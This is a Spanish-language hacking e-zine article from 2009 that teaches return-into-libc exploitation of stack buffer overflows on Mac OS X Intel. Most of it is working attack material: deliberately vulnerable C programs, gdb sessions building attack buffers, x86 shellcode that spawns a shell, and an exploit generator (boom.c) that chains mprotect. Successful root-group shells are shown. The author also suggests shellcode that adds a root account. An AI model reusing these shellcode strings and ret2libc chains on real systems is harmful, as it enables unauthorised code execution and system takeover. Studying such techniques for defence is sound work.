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Return Into to Libc en MacOS X

      6798

Autor: blackngel
-[ 0x04 ]--------------------------------------------------------------------
-[ Return Into to Libc en MacOS X ]------------------------------------------
-[ by blackngel ]----------------------------------------------------SET-38--


          ^^
      *`* @@ *`*     HACK THE WORLD
     *   *--*   *    
          ##         <blackngel1@gmail.com>
          ||         <black@set-ezine.org>
         *  *        <http://www.blackbycode.com>
        *    *       (C) Copyleft 2009 everybody
       _*    *_


1 - Introduccion

2 - Ret2libc con system( )

3 - Ret2libc en el Heap

4 - Experimentos con mprotect( )

5 - Conclusion

6 - Referencias



---[ 1 - Introducion

Por que hablar nuevamente sobre tecnicas Return Into To Libc? No son acaso
estas comunes a todos los sistemas? El motivo en si, es la respuesta a esta
segunda pregunta. La base del ataque tiene la misma forma, pero las condiciones
son distintas.

Mac OS X, a pesar de su fama entre la gente comun de poseer un bajo numero de
vulnerabilidades o fallos de seguridad, es uno de los sistemas operativos que
mas atras se ha quedado en lo que a mecanismos de proteccion se refiere. Para
empezar no implementa ninguna clase de aleatorizacion de direcciones de memoria
(ASLR), algo muy presente en las actuales distribuciones de Linux. Tampoco
los compiladores agregan protecciones tipo Stack-Guard o Stack-Shield u otras
basadas en cookies que detecten la modificacion de registros del sistema.

Que la gente no se dedique a estudiar todos los problemas reales de Mac OS X,
no quiere decir de ninguna manera que los fallos no existan, y dejarlos ahi por
mucho tiempo significa hacerle un flaco favor al sistema y a los usuarios que
se ven a merced de los atacantes sin escrupulos y las tardias y reprochadas
mega-actualizaciones que Apple suele proporcionar.

No obstante todo lo dicho, hay algo que nuestros amigos de Apple si han
implementando en las versiones de sus sistemas operativos que en la actualidad
corren bajo la plataforma Intel x86, y es el hecho de establecer los permisos
de las paginas pertenecientes a la pila (stack) como NO ejecutables.

Esto limita la aplicacion de clasicos exploits relativos a buffer overflows que
intentan ejecutar codigo arbitrario contenido en el stack. Si, claro, por eso
estamos aqui, porque Return Into To Libc puede solucionar esos problemas. Vale,
lograr ejecutar una llamada a system( ) puede proporcionarte una shell directa
pero... en primer lugar, aqui descubriremos que algunas dificultades pueden ser
encontradas en el camino, y dos, un hacker que se precie casi siempre apreciara
la posibilidad de ejecutar codigo de su propia eleccion.

Bien... la cuestion es: como hacer esto ultimo si cualquier codigo alojado en
la pila no podra ser ejecutado? Veremos aqui las posibilidades de introducir
nuestra shellcode en el espacio del Heap y bifurcar a esa direccion el flujo
de ejecucion del programa vulnerable.

Para terminar, nos adentraremos en una tecnica muy vagamente documentada, que
tiene como objetivo devolverle a la Pila sus permisos de ejecucion originales
y evitar asi el uso o abuso del Heap. He tenido algunos problemas con el
desarrollo de la misma, de modo que presento aqui los resultados con el fin
de que alguien pueda encontrar la solucion definitiva.


NOTA: En la seccion "Referencias" podras encontrar una buena recopilacion
      de enlaces relativos a temas de explotacion en entornos MAC (ya sea
      sobre plataformas Intel o PPC).



---[ 2 - Ret2libc con system()

Tomemos como ejemplo el programa vulnerable mas simple:

[- vuln.c -]

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char buff[32];

   if (argc > 1) {
      strcpy(buff, argv[1]);
   }

   return 0;
}

[- end vuln.c -]

De acuerdo, como siempre, no tiene misterio. Busquemos en que offset el
programa rompe, y donde sobreescribimos exactamente EIP:

ooooo

mac:~ blackngel$ gdb -q ./vuln
Reading symbols for shared libraries .. done
(gdb) run `perl -e 'print "A" x 40 . "bbbb" . "cccc" . "dddd";'`
Starting program: /Users/blackngel/vuln `perl -e 'print "A" x 40 . "bbbb" .
"cccc" . "dddd";'`
Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x63636363
0x63636363 in ?? ()

Bien, entonces hemos alterado EIP con "cccc", lo cual significa que precisamos
un padding de 44 bytes antes de golpear en el punto correto. Ahora... donde
esta system( ) ?

(gdb) p system
$1 = {<text variable, no debug info>} 0x90046c20 <system>

ooooo

Correcto, no olvidemos entonces ahora que nuestro buffer de ataque deberia
tener una estructura como la siguiente:

   [ PADDING (44 bytes) ][ &system() ][4 bytes basura o ret ][ &"/bin/sh"]

En primer lugar, es decision tuya si deseas incluir 4 bytes cualesquiera tras
la direccion de la funcion system() u otra direccion que te permita controlar
nuevamente el flujo de ejecucion del programa o al menos salir silencisosamente
llamando a exit( ).

La segunda cuestion radica en donde situar realmente la cadena "/bin/sh" y
obtener su direccion. Utilizar una variable de entorno es como siempre una de
las posibles opciones, pero no hay nada mas comodo que situarla en el mismo
argumento pasado al programa.

No obstante, veamos antes de nada si la pila es sobreescrita correctamente
con los datos que tenemos hasta el momento:

ooooo

(gdb) disass main 
Dump of assembler code for function main:
0x00001f8a <main+0>:    push   %ebp
0x00001f8b <main+1>:    mov    %esp,%ebp
0x00001f8d <main+3>:    sub    $0x38,%esp
0x00001f90 <main+6>:    cmpl   $0x1,8(%ebp)
0x00001f94 <main+10>:   jle    0x1fad <main+35>
0x00001f96 <main+12>:   mov    12(%ebp),%eax
0x00001f99 <main+15>:   add    $0x4,%eax
0x00001f9c <main+18>:   mov    (%eax),%eax
0x00001f9e <main+20>:   mov    %eax,4(%esp)
0x00001fa2 <main+24>:   lea    -40(%ebp),%eax
0x00001fa5 <main+27>:   mov    %eax,(%esp)
0x00001fa8 <main+30>:   call   0x301b <dyld_stub_strcpy>
0x00001fad <main+35>:   mov    $0x0,%eax
0x00001fb2 <main+40>:   leave  
0x00001fb3 <main+41>:   ret    
End of assembler dump.
(gdb) break *main+35
Breakpoint 1 at 0x1fad
(gdb) run `perl -e 'print "A" x 44 . "\x20\x6c\x04\x90" . "AAAA" . "BBBB";'`
Starting program: /Users/blackngel/vuln `perl -e 'print "A" x 44 .
"\x20\x6c\x04\x90" . "AAAA" . "BBBB";'`
Reading symbols for shared libraries . done

Breakpoint 1, 0x00001fad in main ()
(gdb) x/4x $ebp
0xbffffbe8:     0x41414141      0x00001f00      0x00000003      0xbffffc48

ooooo

Mmmm... muy sospechoso, sobreescribimos EBP, pero no asi EIP. Que ocurre?
Como he dicho al principio de este articulo, algunas dificultades pueden ser
encontradas. Resulta ser en este caso que el caracter "\x20" no es admitido,
tal como si de "\x00" se tratase y corta nuestra cadena de ataque.

Como solucionar esto? Podriamos utilizar una direccion posterior a &system() ?

(gdb) x/6i system
0x90046c20 <system>:    push   %ebp
0x90046c21 <system+1>:  mov    %esp,%ebp
0x90046c23 <system+3>:  push   %edi
0x90046c24 <system+4>:  push   %esi
0x90046c25 <system+5>:  push   %ebx
0x90046c26 <system+6>:  sub    $0x6c,%esp

Piensa que saltarse el prologo de funcion no es ni por asomo buena idea, mas
que nada porque el direccionamiento de toda variable local quedara corrompido,
y vemos por la sentencia "sub    $0x6c,%esp" que en efecto estas son utilizadas.
Y detras ?

(gdb) x/4i system - 2
0x90046c1e <mach_msg_destroy+924>:      nop    
0x90046c1f <mach_msg_destroy+925>:      nop    
0x90046c20 <system>:    push   %ebp
0x90046c21 <system+1>:  mov    %esp,%ebp

Bingo! No podiamos haber tenido mejor suerte, instrucciones NOP dispuestas a
no hacer nada, pero que al tiempo nos facilitan una direccion que no destruye
nuestro buffer de ataque ("0x90946c1f"). Comprueba tu mismo que ahora EIP se
sobreescribe correctamente.

Otro dato importante que seria interesante conocer es la direccion del comiendo
de nuestro buffer, en este caso:

(gdb) x/16x $ebp-40
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141

Es decir: 0xbffffbc0

Con ello alguno podria pensar rapidamente en poner la cadena "/bin/sh" al
comienzo del buffer, e indicar su direccion en el lugar adecuado. Probemos:

ooooo

(gdb) run `perl -e 'print "/bin/sh" . "A" x 37 . "\x1f\x6c\x04\x90" . "BBBB" .
"\xc0\xfb\xff\xbf";'`
.....
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x42424242
0x42424242 in ?? ()

ooooo

Bien, lo que pasa es lo siguiente, system( ) espera como argumento una cadena
"null-terminated", lo cual no podemos ni hacer ni garantizar desde que un nulo
rompera el buffer de ataque, es por ello que la llamada simplemente falla y
tras el retorno intenta ejecutar la siguiente instruccion cuya direccion es
indicada por "BBBB" (exactamente 0x42424242). La solucion pasa entonces por
colocar "/bin/sh" justo al final de nuestra cadena:

ooooo

(gdb) x/s 0xbffffbe5
0xbffffbe5:      "???/bin/sh"
(gdb) x/s 0xbffffbe8
0xbffffbe8:      "/bin/sh"
(gdb) run `perl -e 'print "A" x 44'``perl -e 'print "\x1f\x6c\x04\x90VVVV\xe8
\xfb\xff\xbf/bin/sh"'`
The program being debugged has been started already.

Breakpoint 1, 0x00001fad in main ()
(gdb) c
Continuing.
sh-2.05b$

ooooo

Como hemos podido ver, algunas trampas pueden ser encontradas en el proceso,
pero todas son facilmente sorteables.



---[ 3 - Ret2libc con el Heap

Una vez logrado nuestro principal objetivo, ahora tocar jugar mas fuerte y
buscar un mayor control sobre la explotacion.

Bien, habiamos dicho que si nuestra intencion es la de ejecutar codigo
arbitrario real, dado que la pila no es ya un entorno ejecutable, nuestra
shellcode deberia estar en el Heap. Tal vez consigas hayar un programa
vulnerable tal que reserve un buffer mediante alguna llamada como malloc( ),
calloc( ), o realloc( ), en el cual tengas la posibilidad de introducir datos.

Pero que pasa cuando esto no es asi?

Ya que podemos introducir datos en el stack, tal vez podamos hacer uso de
ret2libc con el objetivo de llamar a una funcion de transferencia de datos
(sea strcpy( ), strncpy( ) o strlcpy( )), y lograr mover una shellcode
originalmente situada en la pila, al espacio Heap.

En el caso de Mac OS X existe un ligero problema:

(gdb) p strcpy
$5 = {<text variable, no debug info>} 0x90002160 <strcpy>
(gdb) p strncpy
$6 = {<text variable, no debug info>} 0x90009f40 <strncpy>
(gdb) p strlcpy
$7 = {<text variable, no debug info>} 0x90033520 <strlcpy>

Es sencillo observar como solo "strlcpy( )" servira a nuestros propositos, las
otras dos funciones, de uso mas general, estan situadas en una posicion de la
memoria tal que sus direcciones contienen un byte null "\x00". Utilizaremos por
tanto la ultima en el ataque.

Una rapida ayuda de "man" nos indica el prototipo de la susodicha funcion:

ooooo

SYNOPSIS
     #include <string.h>

     size_t
     strlcpy(char *dst, const char *src, size_t size);

ooooo

La unica diferencia es que esta funcion requiere de un parametro o argumento
adicional indicando el numero maximo de bytes a ser copiados desde "src" a
"dst". Si colocamos nuestra shellcode como ultimo eslabon de la cadena,
necesitamos que este valor size no contenga bytes null, y por otro lado, que
no sea demasiado grande como para leer alguna pagina de la memoria no mapeada.
Por lo comun es normal utilizar el valor mas peque~o sin contener bytes null,
que es: "0x01010101".

Sabemos entonces que:

1 -> Debemos sobreescribir EIP con la direccion de strlcpy( ).
2 -> "src" debe ser una direccion en el stack apuntando al shellcode.
3 -> "dst" debe ser una direccion en el heap donde se copiara el shellcode.
4 -> "size" debe ser el valor minimo sin bytes null: 0x01010101.

OK, entonces, parece que lo unico que nos falta por saber es la direccion
de destino donde nuestro shellcode sera copiado. Dado que necesitamos una
direccion valida en el Heap, podemos utilizar el siguiente programa para
descubrir donde se encuentra la zona principal de memoria, y donde malloc( )
reserva los trozos segun su tama~o:

[- mzones.c -]

        #include <stdio.h>
        #include <stdlib.h>

        int main(int ac, char **av)
        {
                extern *malloc_zones;

                printf("initial_malloc_zones @ 0x%x\n", *malloc_zones);
                printf("tiny:  0x%08x\n", malloc(22));
                printf("small: 0x%08x\n", malloc(500));
                printf("large: 0x%08x\n", malloc(0xffffffff));
                return 0;
        }

[- mzones.c -]

mac:~ blackngel$ ./mzones
initial_malloc_zones @ 0x1800000
tiny:  0x00300130
small: 0x01800600
large: 0x00000000

Parece que lo mas estable es utilizar algo por encima de "0x01800000", pero
recuerda nuevamente evitar bytes null. Siguiendo con la regla del valor minimo,
podemos usar "0x01800601" o algo por el estilo. Esta misma direccion sera
utilizada como "ret" justo despues de la direccion de la funcion strlcpy(), ya
que es ahi exactamente donde debe continuar la ejecucion del programa.

Y ya para finalizar con los preparativos, necesitamos una shellcode apropiada
para Mac OS X y la arquitectura Intel x86. Mostramos aqui un ejemplo efectivo,
aunque no sera discutido su desarrollo:

"\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x5 
8\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5 
b\x5b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6 
e\x8b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80"

Otro peque~o problema que ya vimos en la seccion anterior, es que tenemos
la desgracia de contrarnos con un byte "\x20" en la direccion de la funcion
strlcpy( ). Esto puede ser solventado nuevamente del mismo modo que la vez
anterior, terminando dicha direccion en "\x1f", en cuya direccion se encuentra
una instruccion NOP perteneciente a la funcion setgid( ):

(gdb) x/3i strlcpy - 2
0x9003351e <setgid+30>: nop    
0x9003351f <setgid+31>: nop    
0x90033520 <strlcpy>:   push   %ebp

Ya con todo el material sobre la mesa, juntemos las piezas del puzzle:

   [PAD 44][&strlcpy()][&sc heap][&sc heap][&sc stack][size][shellcode]

   [PAD 44][0x9003351f][0x01800601][0x01800601][0xbffffb70][0x01010101][sc]

NOTA: La direccion exacta de nuestra shellcode en la pila fue hayada con GDB.

Vamos a ver el efecto de nuestro exploit en la linea de comandos:

ooooo

(gdb) run `perl -e 'print "A" x 44 . "\x1f\x35\x03\x90" . "\x01\x06\x80\x01" .
"\x01\x06\x80\x01" . "\x70\xfb\xff\xbf" . "\x01\x01\x01\x01" . "\xeb\x07\x33
\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x58\x40\x40\xcd\x80
\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5b\x5b\x3b\xd8\x74\xd9
\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\x50\x54\x54\x53
\xb0\x3b\x50\xcd\x80";'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
.....

Breakpoint 2, 0x00001fad in main ()
(gdb) c
Continuing.
mac:/Users/blackngel blackngel$ id
uid=501(blackngel) gid=501(blackngel) groups=501(blackngel), 31(boinc_project),
81(appserveradm), 79(appserverusr), 80(admin), 30(boinc_master)
mac:/Users/blackngel blackngel$ exit
exit

Program exited normally.
(gdb) 

ooooo

Genial! Esta shellcode ejecutaba "/bin/bash", lo digo para los que esperaban
el prompot de sh.

Hemos ido como siempre por el camino "complicado?", ya que si alguno hubiera
pensando en funciones como strcat( ) o strncat( ), la vida hubiera sido un
poco mas facil. Basta solo con sustituir la direccion de strlcpy( ) por la de
strcat( ), eliminar el parametro "size" y restar 4 a la direccion del shellcode
en el stack.

ooooo

(gdb) p strcat
$9 = {<text variable, no debug info>} 0x9001c3d0 <strcat>
(gdb) p strncat
$10 = {<text variable, no debug info>} 0x900291b0 <strncat>

(gdb) run `perl -e 'print "A" x 44 . "\xd0\xc3\x01\x90" . "\x01\x06\x80\x01" .
"\x01\x06\x80\x01" . "\x6c\xfb\xff\xbf" . "\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80
\x33\xc0\x50\x50\xb0\x17\xcd\x80\x58\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33
\xc0\xb0\x07\x50\xcd\x80\x5b\x5b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x8b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80";'`
The program being debugged has been started already.
.....
Breakpoint 2, 0x00001fad in main ()
(gdb) c
Continuing.
mac:/Users/blackngel blackngel$ id
uid=501(blackngel) gid=501(blackngel) groups=501(blackngel), 31(boinc_project),
81(appserveradm), 79(appserverusr), 80(admin), 30(boinc_master)
mac:/Users/blackngel blackngel$ exit
exit

Program exited normally.

ooooo

Siempre hay varias posibilidades para resolver un mismo problema, el problema
mas dificil es encontrar esas posibilidades ;)



---[ 4 - Experimentos con mprotect( )

En este capitulo voy a comentar y demostrar la problematica encontrada al
intentar aplicar Return Into To Libc llamando a la funcion mprotect( ) con
el objetivo de devolverle los permisos de ejecucion al stack.

Veamos antes de nada que dice "man" al respecto de esta funcion tan venerada:

ooooo

SYNOPSIS
     #include <sys/types.h>
     #include <sys/mman.h>

     int
     mprotect(caddr_t addr, size_t len, int prot);

DESCRIPTION
     The mprotect() system call changes the specified pages to have protection
     prot.  Not all implementations will guarantee protection on a page basis;
     the granularity of protection changes may be as large as an entire
     region.

ooooo

Como podemos ver, el prototipo de funcion es sencillo. El primer argumento
indica la direccion en memoria a partir de la cual van a ser cambiados o
establecidos los permisos. El segundo indica la longitud (en bytes) de las
paginas a modificar. Y por el ultimo parametro establece que tipo de proteccion
sera aplicada: lectura, escritura, ejecucion, o una mezcla de las tres (or |).

#define	PROT_NONE	0x00	/* [MC2] no permissions         --- */
#define	PROT_READ	0x01	/* [MC2] pages can be read      r-- */
#define	PROT_WRITE	0x02	/* [MC2] pages can be written   -w- */
#define	PROT_EXEC	0x04	/* [MC2] pages can be executed  --x */

Pero claramente tenemos un problema (en realidad dos). Resulta que tanto la
longitud como la proteccion son y deberan ser valores relativamente peque~os,
esto es que a la hora de introducirlos via un buffer de ataque, contrendran
irremediablemente bytes NULL. Una funcion como strcpy( ) no permitiria esto,
de modo que en principio vamos a plantear una variacion del programa:

[- vuln2.c -]

#include <stdio.h>
#include <string.h>

#define BSIZE 32
#define BUFFSIZE 256

int main(int argc, char *argv[])
{
   char buff[BSIZE];

   fread(buff, BUFFSIZE, 1, stdin); // Oops!

   return 0;
}

[- end vuln2.c -]

Y seguidamente, muestro aqui un programa que demuestra el uso de mprotect( ).
Fijate que utilizamos un puntero de funcion al que le asignamos la direccion
de la shellcode y que es llamado dos veces a lo largo del programa.

En un entorno con stack ejecutable, la primera llamada a func( ) desplegaria
inmediatamente una shell. No ocurre asi en Mac, en el que un error sera emitido
(lo comprobaremos con GDB). Veamos:

[- mprot.c -]

#include <stdio.h>
#include <sys/mman.h>

int main(int argc, char *argv[])
{
   int ret;
   char shellcode[ ] =
  "\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x58\x40"
  "\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5b\x5b\x3b"
  "\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\x50"
  "\x54\x54\x53\xb0\x3b\x50\xcd\x80";

   void (*func)(void);

   func = (void *)shellcode;

   func(); // (1)

   ret = mprotect((void *)0xbffff001, 4000, PROT_READ|PROT_WRITE|PROT_EXEC);

   printf("\nRET = [ %d ]\n", ret);
   
   func(); // (2)

   return 0;
}

[- end mprot.c -]

Comprobemos que pasa si ejecutamos esta pequeña prueba de concepto tal y como
esta:

ooooo

mac:~ blackngel$ ./mprot
Bus error
mac:~ blackngel$ gdb -q ./mprot
Reading symbols for shared libraries .. done
(gdb) run
Starting program: /Users/blackngel/mprot 
Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffc06
0xbffffc06 in ?? ()
(gdb)

ooooo

Lo que nos temiamos (o no), la proteccion ha funcionado correctamente y la
se~al de error nos informa con el mensaje "KERN_PROTECTION_FAILURE" que hemos
intentado ejecutar codigo en una zona no permitida, exactamente el principio
del buffer shellcode (0xbffffc06).

Pero... que ocurre ahora si comentamos la primera llamada a func( ) y dejamos
que mprotect( ) haga su trabajo antes de que sea nuevamente ejecutada?

ooooo

mac:~ blackngel$ ./mprot

RET = [ 0 ]
mac:/Users/blackngel blackngel$ id
uid=501(blackngel) gid=501(blackngel) groups=501(blackngel), 31(boinc_project),
81(appserveradm), 79(appserverusr), 80(admin), 30(boinc_master)
mac:/Users/blackngel blackngel$ exit
exit
mac:~ blackngel$ 

ooooo

Premio! Obtenemos una shell como recompensa, y vemos tambien el valor de
retorno de la funcion mprotect( ). Un valor de "-1" hubiera significado un
error en la llamada.

Conocemos entonces los siguientes datos:

   &mprotect( )  -> 0x90088d1d  -> "\x1d\x8d\x08\x90"
   addr          -> 0xbffff001  -> "\x01\xf0\xff\xbf"
   len           -> 4000        -> "\xa0\x0f\x00\x00"
   prot          -> 7           -> "\x07\x00\x00\x00"

... pero los problemas comienzan cuando intentamos traslar estos mismos
valores al programa vulnerable. Para realizar el ataque debemos crear
un exploit que a su vez cree un fichero con el buffer a introducir. Este
fichero sera redireccionado al programa vulnerable mediante la entrada
estandar ( $ ./vuln2 < fichero ), desencadenando asi el fallo en la
funcion de entrada fread( ).

[- boom.c -]

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
   int i;
   char shellcode[ ] =
  "\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x58\x40"
  "\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5b\x5b\x3b"
  "\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\x50"
  "\x54\x54\x53\xb0\x3b\x50\xcd\x80";

   for (i = 0; i < 44/4; i++)
     fwrite("\x41\x41\x41\x41", 4, 1, stdout); // PADDING

   fwrite("\x1d\x8d\x08\x90", 4, 1, stdout);   // &mprotect( )
   fwrite("\x70\xfc\xff\xbf", 4, 1, stdout);   // ret -> &shellcode
   fwrite("\x00\xf0\xff\xbf", 4, 1, stdout);   // addr (arg 1)
   fwrite("\xa0\x0f\x00\x00", 4, 1, stdout);   // len  (arg 2)
   fwrite("\x07\x00\x00\x00", 4, 1, stdout);   // prot (arg 3)
   fwrite(shellcode, strlen(shellcode)+1, 1, stdout); // Shellcode

   return 0;
}

[- end boom.c -]

Pero al realizar la prueba...

ooooo

mac:~ blackngel$ gcc boom.c -o boom
mac:~ blackngel$ ./boom > bam
mac:~ blackngel$ ./vuln2 < bam
Bus error
mac:~ blackngel$ 

ooooo

Lo mas raro de todo es cuando hacemos uso de GDB para ver que es lo que
ha ocurrido:

ooooo

mac:~ blackngel$ gdb -q ./vuln2
Reading symbols for shared libraries .. done
(gdb) run < bam
Starting program: /Users/blackngel/vuln2 < bam
Reading symbols for shared libraries . done

Program exited normally.
(gdb)

ooooo

Es decir, que el programa no rompe, pero tampoco ejecuta una nueva shell
de comandos. 

Como sabemos que mprotect( ) se ejecuta correctamente?

Podemos comprobarlo de dos formas distintas. La primera es modificar el
argumento "len" en boom.c provocando manualmente el fallo de esta llamada.
Un error comun podria haber sido intentar introducir el valor 4000 sin
pasarlo a hexadecimal, cambia esto:

   fwrite("\xa0\x0f\x00\x00", 4, 1, stdout);

por esto:

   fwrite("\x00\x40\x00\x00", 4, 1, stdout);

Si despues de crear el nuevo archivo "bam", ejecutamos "./vuln2" en el
depurador, el resultado seria este:

ooooo

(gdb) run < bam
Starting program: /Users/blackngel/vuln2 < bam
Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffc70
0xbffffc70 in ?? ()

ooooo

Esto demuestra que anteriormente habiamos cambiado la proteccion de la
pila, pero que en este caso ocurre lo contrario porque mprotect( ) ha
fallado.

La otra forma es simplemente colocando un break en mprotect( ) y trazando
las subsiguientes llamadas. En el primer caso (el correcto), pintaria asi:

ooooo

(gdb) break *mprotect
Breakpoint 1 at 0x90088d1d
(gdb) run < bam
Starting program: /Users/blackngel/vuln2 < bam
Reading symbols for shared libraries . done

Breakpoint 1, 0x90088d1d in mprotect ()
(gdb) next
Single stepping until exit from function mprotect, 
which has no line number information.
0xa0011145 in dyld_stub_getpagesize ()
(gdb) 
.....
0x90015160 in getpagesize ()
(gdb) 
.....
0x9016a980 in __i686.get_pc_thunk.bx ()
(gdb) 
.....
0x9001516c in getpagesize ()
(gdb) 
.....
0x90088d2c in mprotect ()
(gdb) 
.....
0xa0011000 in dyld_stub_syscall ()
(gdb) 
.....
0x90004d40 in syscall ()
(gdb) 
.....
0x90088d55 in mprotect ()
(gdb) 
.....
0xbffffc70 in ?? ()
(gdb) 
Cannot find bounds of current function
(gdb) c
Continuing.

Program exited normally. 

ooooo

En el caso erroneo, por el contrario, observariamos el siguiente error:

ooooo

(gdb) break *mprotect
Breakpoint 1 at 0x90088d1d
(gdb) run < bam
Starting program: /Users/blackngel/vuln2 < bam
Reading symbols for shared libraries . done

Breakpoint 1, 0x90088d1d in mprotect ()
(gdb) next
Single stepping until exit from function mprotect, 
which has no line number information.
0xa0011145 in dyld_stub_getpagesize ()
(gdb) 
.....
0x90015160 in getpagesize ()
(gdb) 
.....
0x9016a980 in __i686.get_pc_thunk.bx ()
(gdb) 
.....
0x9001516c in getpagesize ()
(gdb) 
.....
0x90088d2c in mprotect ()
(gdb) 
.....
0xa0011000 in dyld_stub_syscall ()
(gdb) 
.....
0x90004d40 in syscall ()
(gdb) 
.....
0x90110770 in cerror ()
(gdb) 
.....
0x90001255 in cthread_set_errno_self ()
(gdb) 
.....
0x9016a980 in __i686.get_pc_thunk.bx ()
(gdb) 
.....
0x90001263 in cthread_set_errno_self ()
(gdb) 
.....
0x9011079b in cerror ()
(gdb) 
.....
0x90088d55 in mprotect ()
(gdb) 
.....
0xa0011041 in dyld_stub___error ()
(gdb) 
.....
0x900012b0 in __error ()
(gdb) 
.....
0x9016a984 in __i686.get_pc_thunk.cx ()
(gdb) 
.....
0x900012b8 in __error ()
(gdb) 
.....
0x90088d61 in mprotect ()
(gdb) 
.....
0xa0011041 in dyld_stub___error ()
(gdb) 
.....
0x900012b0 in __error ()
(gdb) 
.....
0x9016a984 in __i686.get_pc_thunk.cx ()
(gdb) 
.....
0x900012b8 in __error ()
(gdb) 
.....
0x90088d6b in mprotect ()
(gdb) 
.....
0xbffffc70 in ?? ()
(gdb) 
Cannot find bounds of current function
(gdb) c
Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffc70
0xbffffc70 in ?? ()

ooooo

En mi humilde opinion, y a pesar de haber hecho una infinidad de pruebas
con multiples variaciones, sigo pensando que el problema reside en la
shellcode, no por ella en si misma, sino por las dificultades que plantea
su ejecucion en MAC.

Una de ellas es por ejemplo que las llamadas a execve( ) fallan si el
programa que lo ejecuta posee multiples hilos. Para solucionar este problema,
las shellcodes deben hacer una llamada a fork( ), de modo que el nuevo
proceso hijo tenga un hilo unico (el mismo), y execve( ) pueda ejecutarse
correctamente. Ademas, el proceso padre deberia llamar a wait4( ) con el fin
de que este no finalize antes de que el hijo haya realizado su trabajo.
Puedes revisar el archivo <sys/syscall.h> para comprobar que las llamadas
wait( ), wait3( ) o waitpid( ) se encuentran en desuso.

La shellcode utilizada posee todas estas caracteristicas, pero algo que
escapa a mi control parece echarlo todo finalmente a perder. He escrito
esta seccion con el animo de que aquellos que deseen experimentar y den
finalmente con la solucion, me lo hagan saber.

Solo comentar, para terminar, que si modifico la shellcode del programa
"mprot.c" por la siguiente:

   char shellcode[ ] = "\x33\xc0\x50\x68\x2f\x2f\x73\x68"
                       "\x68\x2f\x62\x69\x6e\x8b\xdc\x50"
                       "\x54\x54\x53\xb0\x3b\x50\xcd\x80";

... que es la misma que la original, pero eliminando el codigo principal,
y las llamadas a setuid(0), fork( ) y wait4( ) (solo dejamos la llamada
a execve( )), el programa todavia seguire ejecutando una nueva shell.

En cambio, si utilizamos esta en "boom.c", el programa vulnerable respondera
de la siguiente manera:

ooooo

(gdb) run < bam
Starting program: /Users/blackngel/vuln2 < bam
Reading symbols for shared libraries . done

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8fe01010 in __dyld__dyld_start ()
(gdb) c
Continuing.
Reading symbols for shared libraries .. done

Program exited normally.
(gdb) 

ooooo

En realidad, recibir este mensaje es muy buena se–al, buscando y revisando
algunos otros articulos sobre explotacion en MAC, parece que todo el mundo
utilizando GDB termina por recibir este aviso antes de que la shell sea
lanzada, y es que es precisamente un avisto de que un nuevo proceso esta
siendo ejecutado.

Lo que es mas, si examinamos la pila justo en ese mismo momento, podremos
encontrar nuestra cadena:

(gdb) x/32s $esp
...........
0xbfffffd7:      ""
0xbfffffd8:      "/bin//sh"

Aunque parece que nosotros no tenemos tanta suerte! Desde fuera de GDB,
"./vuln2" seguira volcando un "Bus error".

Una cosa esta clara, y es que es posible ejecutar codigo en la pila tras
haber invocado a mprotect( ). Tal vez si consigues encontrar o programar
tu mismo una shellcode que agregue una cuenta con permisos de "root" al
sistema en vez de llamar a execve( ), tal vez repito, funcione correctamente.

Espero que vuestras mentes inquietas no dejen el misterio sin resolver ;)



---[ 5 - Conclusion

Como bien se ha demostrado a lo largo de este articulo, Mac OS X no es
precisamente uno de los Sistemas Operativos mas protegidos en esta era
en la que las empresas comienzan por fin a interesarse en la problematica
de la seguridad.

Mientras no se implemente una capa de aleatorizacion de direcciones de
memoria lo suficientemente robusta, innumerables fallos relativos a
desbordamientos de buffer podran seguir siendo explotados en base a tecnicas
Return Into to Libc, y nada podra evitarlo.

Feliz hacking!
blackngel



---[ 6 - Referencias

 [1] b-r00t's Smashing the Mac for Fun & Profit.
     http://www.milw0rm.com/papers/44  

 [2] Non eXecutable Stack Lovin on OSX86.
     http://digitalmunition.com/NonExecutableLovin.txt

 [3] Feline Menace. The Mach System.
     http://felinemenace.org/~nemo/mach/Mach.txt

 [4] Abusing Mach on Mac OS X.
     http://uninformed.org/?v=4&a=3&t=pdf


*EOF*